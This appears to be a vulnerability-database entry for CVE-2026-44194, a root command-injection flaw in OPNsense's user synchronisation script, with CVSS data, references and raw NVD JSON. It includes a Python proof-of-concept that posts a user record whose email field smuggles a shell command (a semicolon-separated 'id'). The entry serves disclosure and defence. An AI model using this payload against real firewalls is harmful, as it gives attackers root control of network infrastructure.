CVE-2026-44194

Description

OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OPNsense < 26.1.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-44194
# Requires auth with user-management privileges
import requests

target = "https://<TARGET_IP>/api/core/user/setUser"
session_id = "<VALID_SESSION_COOKIE>"

# Craft payload to bypass email validation and execute command
# Syntax: user; command @ domain
payload_email = "admin; id; # @opnsense.local"

headers = {
    "Cookie": f"PHPSESSID={session_id}",
    "Content-Type": "application/json"
}

data = {
    "user": {
        "username": "testuser",
        "email": payload_email,
        "password": "TestPass123!"
    }
}

# Send request to trigger sync
try:
    r = requests.post(target, json=data, headers=headers, verify=False)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44194
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44194
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44194/
[4] VulDB https://vuldb.com/cve/CVE-2026-44194
[5] https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6
[6] https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44194", "sourceIdentifier": "[email protected]", "published": "2026-05-13T22:16:43.673", "lastModified": "2026-05-14T18:12:13.527", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6", "source": "[email protected]"}, {"url": "https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}